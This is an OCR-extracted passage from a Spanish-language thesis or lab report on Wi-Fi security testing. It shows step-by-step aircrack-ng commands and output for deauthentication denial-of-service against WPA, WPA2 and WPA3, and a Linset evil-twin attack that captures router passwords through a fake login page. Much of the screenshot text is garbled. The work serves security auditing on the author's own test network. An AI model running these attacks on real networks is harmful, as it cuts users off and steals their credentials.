Rx invalid nwid:@ Rx invalid crypt:@ Rx invalid frag:0

Tx excessive retries:® Invalid misc:® Missed beacon:0

Figura 102: Reconocimiento de la red inalambrica WPA2. Fuente:
Elaboracion Propia.

b) Después de que se haya identificado que existe una red inalambrica se procede

a poner en modo monitor para ello se ejecuta el comando que se muestra a

continuacion.

@ =
y start wlano

Found 2 processes that could cause trouble.

Kill them using 'airmon-ng check kill' before putting

the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

PID Name
457 NetworkManager
691 wpa_supplicant

PHY Interface Driver Chipset

phyo wlan® 88XXau TP-Link Archer T2U PLUS [RTL8821AU]
(monitor mode enabled)

Figura 103: ejecucién del comando airmon-ng start wlanO que pone la

interfaz inalambrica en modo monitor. Fuente: Elaboracion Propia.
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¢) Cuando lared haya cambiado a modo monitor es necesario realizar un escaneo

de redes para conocer el bssid, canal, protocolo de seguridad y para conocer si

la red que va a ser atacada cuenta con clientes.

~

o wlan@
Elapsed: 48 s ][ 2021-11-10 11: | k: E4:8D:8C:FC:AA:FE
fData, #/s C ENC CIPHER AUTH

142
52

OPN

OPN <length:
<length:
<length:

[ ]

ONeee e
(=)

=

TP-LINK_13
Home_netwo
CONEXION-

W o
o

=
==

Home_netwo
CONEXION_T

iy
00~ = =

PTP_DIANA

0
0
0
0
P 0
0
0
0
0

[l S <) ]

Notes Probes

:8D:8C

18D 8¢ AAFE

CeDE: :B0:9C

+EF: t01:E7
(not associated)
(not associated)
(not associated)

=
teNeENe e o

- - W W
NONREREENWNS &~ O W

=

0000000000 e
ER PR NNRE PO

= S Won

N

Home_Network

FAMILIA_VARGAS

CONEXION_TOTAL

Home_Network
SoftNet_GRT115

Familiavera

TP-LINK_1362

Figura 104: Reconocimiento de la red objetivo y comprobacién de cliente. Fuente:

Elaboracion Propia.
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d) Para conocer con mayor detalle los clientes que se encuentran autenticados a
la red de interés se ejecuta el comando que se muestra a continuacion, ya que

permite conocer Unicamente los clientes de dicha red.

AQ:F3:C1:13:62:86 wlan®@

021-11-10 11:30
PWR RXQ Beacons #iData, #/s CH M ENC CIPHER AUTH ESSID
(4] 0 9 270 WPA2 CCMP PSK TP-LINK_136286
PWR Rate Lost Frames Notes Probes

DE:81:08:F0:0A:DD
QA:4F:44:17:40:05

Quitting ...
Figura 105: Establecimiento del objetivo mediante el comando airodump-ng -c 9 ==
bssid. Fuente: Elaboracion Propia.
e) Después que se haya identificado correctamente los pardmetros del router se
procede a saturar el mismo con el fin de que ningun cliente pueda mantener una

conexion.

b ] ( g 2 1: 86) on channel
rk is down
rk is down
is mor ective when t
eless cl [ lient
DeAuth e 3 to
DeAuth e 7) to
Defuth e 7) to
Defuth = to
Defuth e 7) to
Defuth e 7) to
DeAuth e to
DefAuth ) to
DefAuth e 7) to
DefAuth
DefAuth
DeAuth
DeAuth
DeAuth
DeAuth
DeAuth
DeAuth
DeAuth

=

i.l" LE T T B I

[~
Ll"i-l"l-l"iﬂ.

2]

(7]
e e e e A e
sl e s N s I Qe o e o e
HFRRPRRERERRPRRRERRRRRR R R

L R = S Ry By S R S B S R

b
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b
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Figura 106: Saturacion del router. Fuente: Elaboracién Propia.
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f) Encaso de que no se desee saturar el router se puede desautenticar a un cliente
para ello utilizamos el comando que se muestra a continuacion, para esto es

importante conocer la MAC del cliente que se desea desautenticar.

Lay 0 AD:F3:C1:13:62:86 DE:81:08:F0:0A:DD wlan@
Waiting for beacon frame (BSSID: A@:F3:C1:13:62:86) on channel 9
Sending 64 directed DeAuth (code
Sending 64 directed DeAuth (code
Sending 64 directed DeAuth (code
Sending 64 directed DeAuth (code
Sending 64 directed DeAuth (code

~
~—

. STMAC: [DE:81:08:F0:0A:DD] [66|63
. STMAC: [DE:81:08:F0:0A:DD] [57|60
. STMAC: [DE:81:08:F0:0A:DD] [25|60
. STMAC: [DE:81:@8:F0:0A:DD] [ 2|59
. STMAC: [DE:81:08:F0:0A:DD] [ 3|61
. STMAC: [DE:81:08:F0:0A:DD] 0|60
. STMAC: [DE:81:08:F0:0A:DD] 0|56
. STMAC: [DE:81:08:F0:0A:DD] 0|49
. STMAC: [DE:81:08:F0:0A:DD] 0|60
. STMAC: [DE:81:08:F0:0A:DD] [ 0|62
. STMAC: [DE:81:08:F0:0A:DD] [ ©@|55
. STMAC: [DE:81:08:F0:0A:DD] 3|55
. STMAC: [DE:81:08:F0:0A:DD] [ 0|26
. STMAC: [DE:81:08:F0:0A:DD] 1|40

~

Sending 64 directed DeAuth (code
Sending 64 directed DeAuth (code
Sending 64 directed DeAuth (code
Sending 64 directed DeAuth (code
Sending 64 directed DeAuth (code
Sending 64 directed DeAuth (code
Sending 64 directed DeAuth (code
Sending 64 directed DeAuth (code
Sending 64 directed DeAuth (code

SNSN SN SN SN SN SNSN NN
e e S N S S S S S S S S S

Figura 107: Desautenticacion de un cliente usando su direccion MAC.
Fuente: Elaboracion Propia.
g) Luego el cliente se muestra fuera de conexion como se sefiala en la siguiente

figura:

Figura 108: Cliente desautenticado en WPA2. Fuente: Elaboracién Propia.

Descripcion del Ataque DoS a red wifi en WPA2
El ataque DoS en el protocolo WPA2 fue efectivo ya que se logré saturar el router
de pruebas dejando sin comunicacion a sus clientes, también se logré desautenticar
a uno de los clientes que se encontraba conectado, este ataque tuvo un tiempo de

respuesta un poco tardio debido al cifrado que posee el protocolo.
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Ataque DoS con el protocolo WPA
Para realizar el ataque DoS hacia el protocolo WPA es importante seguir los
mismos pasos que se siguieron para WPA2 ya que lo Unico que cambia es la
configuracion del protocolo en el Access point y como se puede visualizar en las

siguientes imagenes el tréfico que se obtenga sera del protocolo WPA.

~

1 wlano

9 ][ Elapsed: 12

)
x

Beacons #iData, #/s MB ENC CIPHER AUTH ESSID

WPA2 CCMP PSK Pruebas
WPA2 CCMP PSK Home_network
WPA2 CCMP PSK CONEXION-TOTAL
WPA2 CCMP SK CONEXION_TOTAL

. WPA TKIP SK OJEDA-ANTONY
WPA2 CCMP SK FamiliaZZ
WPA2 CCMP SK Home_network_1
WPA2 CCMP PSK FAMILIA_VARGAS
WPA2 CCMP PSK Aracely Calle
WPA2 CCMP PSK JOSELYN

[l @]
[
w

@

) O o

w

A

118
154
118

L RS I RS I RS B S RS
= WO W W

SN e S

N W

BSSID Frames Notes Probes

(not associated)
(not associated)
(not associated)
BO:C5:54:81:43:8E
Quitting ...

Figura 109: Reconocimiento de la red inalambrica WPA. Fuente: Elaboracion

Propia.

BO:C5:54:81:43:8E wlano

J[ Elapsed: 12 J[ 2021-11-22 17:55 1L WPA handshake: BO:C5:54:81:43:8¢
PWR RXQ Beacons ubata, 4/s CH ME ENC CIPHER AUTH ESSID
69 7 88 1519 119 5 S4e., WPA TKIP PSK  OJEDA-ANTONY
STATION PWR Rate LOS Frames otes  Probes

B

3 B B 2146 2 14
BO: ] a8 i5C1HF 2
Quited

EAPOI

Figura 110: Establecimiento del objetivo mediante el comando airodump-ng -c 9 ==

bssid. Fuente: Elaboracion Propia.
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0 BO:C5:54:81:43:8E AC:ED:5C:F5:FC:B2 wlan@
Waiting for beacon frame (BSSID: BO
Sending 64 directed DeAuth (code 7). [AC:
Sending 64 directed DeAuth 7). STMAC: [AC:ED:5C:
Sending 64 directed DeAuth (c 7). STMAC: [AC:ED:5C:
Sending 64 directed DeAuth (c 7). STMAC: [AC:ED:5C:
Sending 64 directed DeAuth 7). STMAC: [AC:ED:5C:

Sending 64 directed DeAuth 7). STMAC: [AC:ED:5C:
Sending 64 directed DeAuth (c 7). STMAC: [AC:ED:5C:
Sending 64 directed DeAuth 7). STMAC: [AC:ED:5C:
Sending 64 directed DeAuth 7). STMAC: [AC:ED:5C:
Sending 64 directed DeAuth (c 7). STMAC: [AC:ED:5C:
Sending 64 directed DeAuth (c 7). STMAC: [AC:ED:5C:
. Sending 64 directed DeAuth 7). STMAC: [AC:ED:5C:
17:57:51 Sending 64 directed DeAuth 7). STMAC: [AC:ED:5C:F5:F

h

nding f G

Figura 111: Saturacion del router. Fuente: Elaboracion Propia.

173 QJEDA-ANTONY
Secured

Can't connect 1o this network

Ve prussas

a
% Home network 2

% Home_network_1

a
% CONEXION-TOTAL

‘@ —

Network & Internet settings

Ch

MO sttinga wich 'v“ﬁmu §COIBCTION Wedereed

Figura 112: Cliente desautenticado en WPA. Fuente: Elaboracion Propia.
Descripcion del Ataque DoS a red wifi en WPA
El ataque DoS en el protocolo WPA se realiza en menor tiempo que en WPA2 esto
se debe al tipo de cifrado que tiene cada protocolo. Este ataque fue exitoso porque
se desauténtico al cliente con éxito dejandolo sin comunicacion y sin poder volver
a conectarse a la misma red, también se saturo el router con éxito y en menor
tiempo ya que ningun cliente podia entablar una conexion hacia dicha red.
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Ataque DoS con el protocolo WPA3
Para realizar el atague DoS hacia el protocolo WPAS3 es importante seguir los
mismos pasos que se indicaron anteriormente ya que la Unica diferencia es la
configuracion del protocolo en el Access point, como se visualiza a continuacion el

trafico que se obtiene es del protocolo WPAS.

~

wlan@

AUTH ESSID

Figra 113: Reconocimiento de la red inaldmbrica WPA. Fuente: Elaboracion

Propia.

BO:C5:54:81:43:8E wlano

ENC CIPHER AUTH ESSID

cCcMP

Figura 114: Establecimiento del objetivo mediante el comando airodump-ng -c 9 ==
bssid. Fuente: Elaboracion Propia.
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0 BO:C5:54:81:43:8E ACIED:5C:F5:FC:B2 wlano®
Waiting for beacon frame (BSSID: BO:C5:54:81:43:8E) on channel 5
Sending 64 directed DeAuth (code 7). STMAC: [AC:ED:SC:F5:FC:
Sending 64 directed DeAuth (code 7). STMAC: [AC:ED:5C:F5:FC:
Sending 64 directed DeAuth (code 7). STMAC: [AC:ED:S5C:FS:FC:
Sending 64 directed DeAuth (code 7). STMAC: [AC:ED:SC:F5:FC:
Sending 64 directed DeAuth (code 7). STMAC: [AC:ED:SC:F5:FC:
Sending 64 directed DeAuth (code 7). STMAC: [AC:ED:SC:F5:FC:
Sending 64 directed DeAuth (code 7). STMAC: [AC:ED:SC:F5:FC:
Sending 64 directed DeAuth (code 7). STMAC: [AC:ED:5C:F5:FC:
Sending 64 directed DeAuth (code 7). STMAC: [AC:ED:SC:F5:FC:B2
Sending 64 directed DeAuth (code 7). STMAC: [AC:ED:SC:F5:FC:B2] [
Sending 64 directed DeAuth (code 7). STMAC: [AC:ED:S5C:F5:FC:B2)
Sending 64 directed DeAuth (code 7). STMAC: [AC:ED:5C:FS5:FC:
Sending 64 directed DeAuth (code 7). STMAC: [AC:ED:SC:F5:FC:B2

Candinn AL Aiwartad Naluth (rada 7\ CTMArs TAC'ERcErsCErEreonl

o -

(RS BV RS RS RS,
SESNN NN
oo~

-
=~

<o
aONOS VW

(R BT R
NN N~
~ N

NN~ :

(S BNW, )
) > U
N AR OO e

nWw

irepl 0 BO:C5:54:81:43:8E wlano
18:03:18 Waiting for beacon frame (BSSID: B0:C5:54:81:43:8E) on channel 5
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
18:03:19 Sending DeAuth (code 7) to broadcast BSSID: [BO:C5:54:81:43:8E]
18:03:19 Sending DeAuth (code 7) to broadcast BSSID: [B0:C5:54:81:43:8E])
18:03: Sending DeAuth (code 7) to broadcast BSSID: [B0:C5:54:81:43:8E]

18:03:20 Sending DeAuth (code 7) to broadcast BSSID: [BO:C5:54:81:43:8E]
18:03: Sending DeAuth (code 7) to broadcast BSSID: [BO:C5:54:81:43:8E)

18:03:
18:03:
18:03:
18:03:
18:03:
18:03:
18:03:
18:03:
18:03:

Sending DeAuth (code 7) to broadcast BSSID: [BO:C5:54:81:43:8E)
Sending DeAuth (code 7) to broadcast BSSID: [BO:C5:54:81:43:8E]
Sending DeAuth (code 7) to broadcast BSSID: [BO:C5:54:81:43:8E]
Sending DeAuth (code 7) to broadcast BSSID: [BO:C5:54:81:43:8E]
Sending DeAuth (code 7) to broadcast BSSID: [B0O:C5:54:81:43:8E]
Sending DeAuth (code 7) to broadcast BSSID: [B0O:C5:
Sending DeAuth (code 7) to broadcast --— BSSID: [BO:C5:
Sending DeAuth (code 7) to broadcast BSSID: [BO:C5:
Sending DeAuth (code 7) to broadcast BSSID: [B@:C5:

S WWN N -

NV NN

(S R

Wi-Fi

Router-Ojeda

Figura 116: Cliente desautenticado. Fuente: Elaboracion Propia.
Descripcion del Ataque DoS a red wifi en WPA3
El ataque DoS en el protocolo WPA3 tuvo éxito ya que se logra desautenticar al
cliente y saturar el Access point, este ataque hacia el protocolo WPA3 tomas mas

tiempo.
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5. Suplantacion de identidad de WPA2
La suplantacion de identidad consiste en hacerse pasar por otra persona con
fines de robar datos, realizar engafios o fraudes para obtener un beneficio
econdémico, también se puede presentar ciber-acoso 0 a su vez extorsion.

Para llevar a cabo este ataque es necesario seguir los siguientes pasos.

a) Ingresar a Wisflax, WPA y finalmente en la herramienta Linset, tal como se

muestra a continuacion.

Todas Llas aphic aclones
f—— e—

¥ Wislax Cifrados ’ —.___._ -
t Actusizadores redes 2 Alrfiny (Ataca WPA sin handshake)

OF B Chapcrack (Alaque a protocolo WPA MS-CHAPYZ)
erne Q Cowpatty [(Atacgue A Wpa Con Rainbow Tables)
Gestor "'“-uu.-."!ivnlum sttoack)
# Hardw Genpmk (Generador De Rainbow Tables)

§ Pente HalfHardshak =1
- Buscar archivos/carpetas ; I\‘r':" ' SR R
' < amte

Acclones

»
»
»
>
>
»
>
»

. Wtidades

Handahak et

T Wifisls 88 Jazrtel xx WPA

3
N\ Preferencias del sislema > 1y
. s del o 1! Wirele 50 Linset (Evil twin attack)

& Ciecutae orden BWBE 7 ponia verities
W Salic »

¢ Wpa g § pyrit (Atague A Wpa Con Rainbow Tables)

Figura 117: Acceso a la herramienta LINSET. Fuente: Elaboracién Propia.
b) Después que se ingrese a linset se realizara un escaneo general de toda la
maquina con el fin de ver todos los ajustes que se necesitaran

posteriormente.

oe root 1 st = Kensole ) root : sh - Konsole
Archive Editar Ver Marcadores Preferanclas . Ayudo Editar Ver Marcadores Preferencias Ayuda

Tamaho: 0B x 26

-7 8.14 (rev. 35) by vk4%
Para

Latest rev. [\]

Figura 118: Escaneo de la herramienta en la maquina atacante. Fuente:

Elaboracion Propia.
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c) Al momento que termine de realizar todo el escaneo se podra visualizar las

d)

interfaces de red que existen en la maquina, en este caso solo hay una
interfaz ya que se cuenta Unicamente con una tarjeta inalambrica, se

selecciona la tarjeta que se tiene y continuamos.
root ! sh - Konsole
Archivo Editar Ver Marcadores Preferencias Ayuda
B B e e e

IS 14 by
Linset Is Not a Social Enginering Tool

A R A R R S

Autodetectando Resolucidn...
B800x600

Selecciona una interface:

Ralink RT2870/3070 rt2800usb

Figura 119: Reconocimiento de la interfaz de red. Fuente: Elaboracion
Propia.
Es importante escanear todos los canales para conocer cuél de ellos es de
interés para el ataque. En caso de que se requiera analizar Unicamente un
canal se debera seleccionar la opcién 2 en este caso se optara por la
opcionl.

root ! sh - Konsole

Archivo Editar Ver Marcadores Preferencias Ayuda
R S R i R R R R R

—

LINSET 0.14 by
Linset Is Not a Social Enginering Tool

R S R

SELECCIONA CANAL

1) Todos los canales
2) Canal(es) especifico(s)

#= 1

Figura 120: Seleccion del canal. Fuente: Elaboracion Propia.
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e) Se escanean todos los canales que la red inalambrica alcanza a leer, dentro
de este escaneo se puede observar el bssid, el protocolo, el canal y el

nombre de la red.

¥ ® Escaneando Objetivos ... ®®

Figura 121: Escaneo de los canales. Fuente: Elaboracion Propia.
f) Cuando encuentre la red a vulnerar se puede cerrar la ventada de escaneo

y posteriormente se visualiza todos los wifis con diferentes opciones de tal

manera que se deberé escoger la red que se quiere vulnerar.

= e root | sh - Konsole
Mehive Tdile Ver Marcadores Preferencies Aywuda

Figura 122: Seleccion de la “victima” objetivo. Fuente: Elaboracién Propia.
g) Una vez que se selecciona la red a vulnerar se visualizara el SSID, Canal,
Velocidad y la MAC del router, también se visualiza 3 opciones, en este caso

se escogera la opcion 1 ya que es la que la herramienta linset recomienda.
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Archive Editar Ves

oBXETIVO

3:62:86 (TP-LINK
NODOD DE Fakedd
Hostapd (

ailrbase-ng (Cone
Atras

Figura 123: Seleccion de la opcidén hostapd que permite que una tarjeta de
interfaz de red actie como un punto de acceso y servidor de autenticacion.
Fuente: Elaboracion Propia.

h) A continuacién, indica que se debe ingresar una ruta para guardar el paquete
que permitirh obtener la contrasefia en este caso se dejard la ruta
predeterminada de tal manera que se presionara ENTER.

)
Archivo Editar Ver Marcadores Preferencias Ayuda
B R R R R
i #
LINSET 0.14 by #
Linset Is Not a Social Enginering Tool #
f #
B B I e

INFO AP OBJETIVO

SSID
Canal
Velocidad
MAC del AP

Pruebas / WPA2

7

70 Mbps

A0:F3:C1:13:62:86 (TP-LINK TECHNOLOGIES CO., LTD.)

Introduzca la ruta del handshake que desea auditar (Ej:

Figura 124: Seleccion de la ruta para guardar el paquete con la contrasefa.

Fuente: Elaboracion Propia.
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i) Es importante comprobar el handshake, existen 3 opciones, pero en este
caso se utilizara la opcion Pyrit dado que tiene muchas funcionalidades
enfocadas principalmente a descifrar claves.

root : sh - Konsole
Archivo Editar Ver Marcadores Preferencias Ayuda
B T R R B T T i S TR i TR

LINSET 0.14 by
Linset Is Not a Social Enginering Tool

T T T T T T T T S

TIPO DE COMPROBACION DEL HANDSHAKE
1) aircrack-ng (Posibilidades de fallo)
2) pyrit
3) Atras

#> 2

Figura 125: Seleccion de la comprobacion de Handshake. Fuente:

Elaboracion Propia.

j) A continuacion, se procedera a capturar el handshake del cliente, para ello
se ha optado por escoger la opcion 1 ya que permite realizar una des

autenticacion masiva del Access Point.

root ! sh - Konsole
Archivo Editar Ver Marcadores Preferencias Ayuda
A R R R

LINSET 0.14 by
Linset Is Not a Social Enginering Tool

A

CAPTURAR HANDSHAKE DEL CLIENTE

1) Realizar desaut. masiva al AP objetivo

2) Realizar desaut. masiva al AP (mdk3)

3) Realizar desaut. especifica al AP objetivo
4) Volver a escanear las redes

5) Salir

#=>1

Figura 126: Captura del handshake del cliente. Fuente: Elaboracion Propia.
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K) Una vez que se tenga el paquete con la posible contrasefia se procedera a
comprobar si ya se tiene el hansdhake para ello se escoge la opcion 1.
root : sh - Kons

Archivo Editar Ver Marcadores Preferencias
Estado del handshake: Sin handshake

1) Si

2) No (lanzar ataque de nuevo)
3) No (seleccionar otro ataque)
4) Seleccionar otra red

5) Salir

#>

Figura 127: Comprobacion de la captura de handshake. Fuente: Elaboracion
Propia.

l) Después se comprobara si ha capturado el handshake correctamente si en
la ventana que se presenta a continuacion se presenta la palabra Corrupto
significa que se puede llevar a cabo el ataque de tal manera que se debe

escoger la opcion 1.

ae root | sh - Konsole
Archivo Editar Ver Marcadores Preferencias Ayuda

FONNRRUONRLURERRNONENLUNNRNORRRVBRURVORRNRRIN

nginering ‘ool

PURNEUORNERNRRRENRNY

ISE CAPTURDO ol MANDSHAKE?

Estado del handshake! Corrupto

1) Si
} No {(lanzar atague de nueve)
| No {(selecclionar otro ataque)
| Seleccionar otra red

Salir

Figura 128: Realizacion del ataque luego de capturar el handshake. Fuente:

Elaboracion Propia.
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m) Después de haber iniciado el ataque es importante seleccionar la opcién una
para obtener la interfaz web que le llegara a la victima para que ingrese la

contrasefa de la red que es de interés.

e root 1 sh = Konsole
Archive Editar Ver Maccadores Preferenclas Ayoda

YT T I I IIIIIIIIIIIIT,

INFO AP OBJETIVD
& Pruchas /7 WA
7
= 70 Mbps
ARFRCI E3:62186 (TPLINK TECHROLOGIES

SELECCIONA LA INTERFACE wWin

Interface web neutra

Figura 129: Seleccion de la interfaz web para la victima. Fuente: Elaboracion
Propia.

n) Después de seleccionar la interfaz web que se enviard a la victima es
importante escoger un idioma para ello se debera seleccionar el idioma de

su preferencia, en este caso se selecciona la opcion 2.

e root : sh =~ Konsole
Archivo Editar Ve Marcadores Preferenclas Ayuda
SURERBREBRURBRENRE SORRRRE UREBNAERURREBRBRERBREREER)

g

by
v Inset ot wlal [nglinering ool

INFO AP OBIETIVO

Pruehas / WPA2

7

/0 Rbps

ADSF3:Cht13:62:86 (TP<LINK TECHNOLOGIES CO,, LITD.)

SELECCTIONA TDIOMA

1) English [ENG)

') Spanish [ESP)
Ttaly [1r)
French [FR]
Portuguese [POR)

I |

Figura 130: Seleccion del idioma de la interfaz web para la victima. Fuente:

Elaboracion Propia.

173



0) Después de que se haya seleccionado la interfaz web y el idioma se
procedera a desconectar el cliente con el fin de que el cliente se autentique

al Access point que se suplanto.

&

Se interrumpio la conexion

Figura 131: Interrupcidn de la conexion de la victima. Fuente: Elaboracion
Propia.

p) Al momento que el cliente pierda la conexion y actualice de nuevo la pagina
aparece la interfaz que se muestra en la siguiente imagen, en donde el

cliente debera ingresar la contrasefia del router.
12 Login g 1w e Mot p spanton ol o e

Login Page

ESSID: Pruebas
BS5ID. AD:F3:C1:13:62:86
Chan: 7

Por razones de segurklad, ntrodusca 5 confrasehia para acceder a intermnet

Introduzea su contrasedsa WPA

Figura 132: Acceso a interfaz por parte de la victima. Fuente: Elaboracion Propia.
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q) Despuésde que el cliente ingrese la contrasefia el atacante obtendra la clave
del router en una ventana igual a la que se muestra en la siguiente figura y

el cliente pobra observar un mensaje que indica que la conexion se

restablecera en pocos minutos.

Figura 133: Obtencién de la contrasefia del router mediante la interfaz.
Fuente: Elaboracion Propia.
Descripcion del Ataque de Suplantacion de identidad de WPA2

La suplantacién de identidad en el protocolo WPA2 tuvo éxito puesto que se
logré obtener la clave del Access point ya que se envié una pagina web al
cliente que se encontraba conectado a esa red indicando que tuvo un
problema de conexion que necesita ingresar nuevamente la contrasefia para
poder mantener una conexion a la red, la suplantacion de identidad en este
protocolo tarda mas tiempo en penetrarse que en el protocolo WPA esto se
da debido al tipo de seguridad y encriptacién que tienen.
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Suplantacion de identidad con el protocolo WPA
Para llevar a cabo el ataque de suplantacion de identidad en el protocolo WPA es
recomendable seguir los pasos que se describen anteriormente debido a que es el
mismo ataque que ya se realiz6 la Gnica diferencia notoria es el cambio de protocolo

en el router que se ejecutando las pruebas.

Figura 134: Escaneo de los canales. Fuente: Elaboracion Propia.

INSET 0,14 by
# Linset Is Not a Social Enginering Tool #
# #
HHAR B AR R R AR R R R R R R R R R AR R AR R

Listado de APs Objetivo

CHAN SECU ESSID

-1
1 WPA2 % FAMILIA VARGAS
10 A2 WILSON GUZMAN ext
11 4 Home_network_2
CONEXION-TOTAL
Home _network 1
CONEXION TOTAL
FamiliaZZ
9)* :(5:54:81:43: Router-0
10) :EF:68:61:01: ) Home_network

(*) Red con Clientes

Selecciona Objetivo
#> 9

Figura 135: Seleccion de la victima objetivo. Fuente: Elaboracion Propia.
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INFO AP OBJETIVO

SSID
Canal
Velocidad
MAC del AP

0D0 DE FakeAP

1) Hostapd (Recomendado)

2) airbase-ng (Conexion mas lenta)

3) Atras

# 1f

Router-0 / WPA
10

54 Mbps
B0:C5:54:81:43:8E (D-Link International)

Figura 136: Seleccion de la opcidén hostapd que permite que una tarjeta de

interfaz de red actie como un punto de acceso y servidor de autenticacion.

Fuente: Elaboracion Propia.

o Y
DOCS St ar et
"

L e e Y L e

X +

maliconnection com

Vy g @ Modw y mustr of

Su conexion se restablecera an breves momentos

Figura 137: Acceso a interfaz por parte de la victima. Fuente: Elaboracion

Propia.
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Faantarele o pans

Figura 138: Obtencién de la contrasefia del router mediante la interfaz.
Fuente: Elaboracion Propia.
Descripcion del Ataque de Suplantacion de identidad de WPA
El atague de suplantacion de identidad en el Protocolo WPA tuvo éxito ya que envio
con éxito la interfaz web a los clientes que intentaban mantener una conexién con
el router que fue interceptado dando paso a que los clientes ingresen la contrasena.

El tiempo de espera con este protocolo es mas corto que en WPAZ2.

Suplantacién de identidad con el protocolo WPA3
Para llevar a cabo el ataque de suplantacion de identidad en el protocolo WPA3 es
recomendable seguir los pasos que se describen anteriormente debido a que es el
mismo ataque gue ya se realiz6 la Unica diferencia notoria es el cambio de protocolo

en el router.

¥ ® Escaneando Objetlivos .., L

Figura 139: Escaneo de los canales. Fuente: Elaboracion Propia.
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ae root i sh - Konsole

Archivo Editar Ver Marcadores Preferencias ML&o

Listado de APs Objetivo
CHAN SECU PwRt ESSID

9 14 LA WEKITA

£ A B

b 10

] 10
12 ANILIA VARGAS
I2 ONEXION TOTA
12 t ILI0 ROSQUER
17 MILTA ZUNIGA
20 CONEXION TOTAI
20 FamilioZ?

Selecciona Objetivo
# 138

Figura 140: Seleccion de la victima objetivo. Fuente: Elaboracion Propia.

C A maftconnectiestcom % B 4 % ¢

I Aphcxciones & (1) loginy g, @ Medrymstndas. @ o [ ntadedctina

Login Page

ESSID: Pruebas
BSSID AD:F3:C1:13:62:86
Chan: 7

Por razones de segundad, Infroduzca 13 conlrasedia para acceder a Internet

Introduzca su contraseda WPA

Figura 141: Acceso a interfaz por parte de la victima. Fuente: Elaboracion
Propia.
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maficonnectiestcom & W

v ONlognyimgst. @ Medeympatweda. @

Login Page

" ) [aperands \a pes

SU conexxdn se restableced en breves momentos

Mitivo ISt Ve M

Figura 142: Obtencién de la contrasefia del router mediante la interfaz.

Fuente: Elaboracion Propia.

Descripcion del Ataque de Suplantacion de identidad de WPA3
El ataque de suplantacién de identidad en el Protocolo WPA3 tuvo éxito ya que
envié la interfaz web a los clientes que intentaban mantener una conexion con el
router que fue interceptado dando paso a que los clientes ingresen la contrasefia

para una posible conexion, aunque en mucho mayor tiempo que en WPA2 y WPA
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Ataque de diccionario a un bssid oculto en WPA2

El ataque de diccionario consiste en crear un archivo de texto con posibles

palabras que suelen utilizar en las contrasefas, se dice que este ataque es

mas efectivo que el de fuerza bruta ya que este no realiza combinaciones de

letras, nameros, signos, etc. Unicamente se base en utilizar palabras

existentes en la lengua espafiola, este tipo de ataque tiene poca probabilidad

de éxito ya que si la contrasefia del router no existe dentro del archivo de

texto el atague no sera efectivo. Un SSID Oculto es aquel que no se muestra

dentro de las redes disponibles que suelen apreciarse en el pc o en un

Smartphone.

Para llevar a cabo este ataque se utilizara los pasos que se muestran a

continuacion:

Es importante realizar una previa configuracion al router, en donde se

indique que se desea habilitar la conexién inalambrica oculta.

19216801 5

Jlstr Q@ Medir y ajustar ol o (5] Blenvenido o Cybea @ @ & suHub|Quesab @ Descripaion for

CONFIGURACION DE RED INALAMBRICA

Modo malamirico; | Router inalambrico v
Habilitar conexidn inaldmbrica
Nombere de la red inalambrica (SSID); | Router-Prustes (Tambien Eamado 5S1D)
Acthvar selecaon automatica de canal.
Canal Inadmivico;
Velocidad de transmiston: | Mejer (automético) v | (Mbit / 5)

Habiltar WMM, (QoS inatdmbrica)
Habiitar la conexidn inaddmbrica _
oculta’ {También llamado ef SSID Broadcast)

MODO DE SEGURIDAD INALAMBRICA

modo de seguridad”
de segurids Habditar seguridad inadamitnica WPAZ sclamente (mejerada) v

ViPAZ solo requiere gue las estaciones Wlilicen encriptacidn y autenticacion de aito grado.
Two de ofrado;  AES v
PSK ] EAP; PSK v
Clave da red ; | Prusbia-Ooko

(B ~ &3 ASCII 0 64 HEX)

Figura 143: Configuracion del router para ataque de diccionario con bssd

oculto. Fuente: Elaboracion Propia.
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b) Cuando se haya finalizado con la configuracion del equipo es importante

conocer el estado en el cual se encuentra la tarjeta inalambrica, también es

importante matar todos los procesos que puedan interferir después para ello

se utiliza los comandos que se muestran a continuacion.

4

no wireless extensions.
no wireless extensions.

unassociated ESSID:"" Nickname:"<WIFIQREALTEK>"

Mode:Managed Frequency=2.412 GHz Access Point: Not-Associated
Sensitivity:0/0

Retry:off RTS thr:off Fragment thr:off

Encryption key:off

Power Management:off

Link Quality=0/100 Signal level=0 dBm Noise level=0 dBm

Rx invalid nwid:® Rx invalid crypt:@ Rx invalid frag:@

Tx excessive retries:® Invalid misc:® Missed beacon:0

check kill

Killing these processes:

PID Name
1120 wpa_supplicant

Figura 144: Comprobacion de la tarjeta inalambrica oculto. Fuente:

Elaboracién Propia.

Después de que se haya verificado el modo de la tarjeta inalambrica y se

haya matado a todos los procesos se procede a cambiar el modo de la tarjeta

a monitor, posteriormente se comprobara que se haya cambiado de estado

para este paso se utilizan los comandos que se muestran en la siguiente

imagen.

Figura 145: Cambio de la tarjeta inalambrica de atacante a modo monitor.

Fuente: Elaboracion Propia.
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d)

Al momento que la tarjeta inalambrica haya cambiado a modo monitor se
procede a realizar un escaneo del trafico de las redes que se encuentran en
el aire. Recordemos que la red a la cual se va a auditar se encuentra oculta
de tal manera que no se podra visualizar en las redes disponibles, en cuanto
al escaneo del trafico se podré visualizar con la palabra length lo cual
permite que el atacante no identifique la red que quiere auditar.

Para realizar el escaneo de redes se utiliza el comando airodump-ng wlan0
(nombre de la tarjeta en modo monitor).

A continuacion, se muestra el trafico de redes en el cual se visualiza que en

este caso a la red que se va a auditar si se encuentra oculta, puesto que no

visualiza dentro de las redes disponibles.

Figura 146: Escaneo de trafico de redes inalambricas. Fuente: Elaboracion
Propia.

Al momento que se haya verificado que la red que se va a auditar se
encuentra oculta lo que se espera es que algun cliente se conecte a dicha
red ya que en ese caso el nombre de la red se podra visualizar en el escaneo

del trafico de redes que se esta realizando.
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Para este caso se ha tomado como cliente a un IPhone que se va a conectar
a la red que se desea atacar, al momento que el cliente realice la conexion

se puede visualizar que el nombre la red aparece en el escaneo.

(L RS )

Otra red

A - L)

Fir 147: Identificacion de la red oculta a atacar. Fuente: Elaboracion Propia.
f) Cuando ya se conozca el nombre de la red a la cual se va a dirigir el ataque
se procede a capturar y guardar el trafico especificamente de la red que nos
interesa para ello utilizamos el siguiente comando: airodump-ng -c¢ 1(canal
de la red) -w prueba (nombre de archivo en el que se va a guardar el
trafico) —bssid B0:C5: 54:81:43:8E (MAC del Access Point) wlanO(tarjeta

de red)

cH 1 1[ Elapsed: 6 s ][ 2021-11-25 15:09

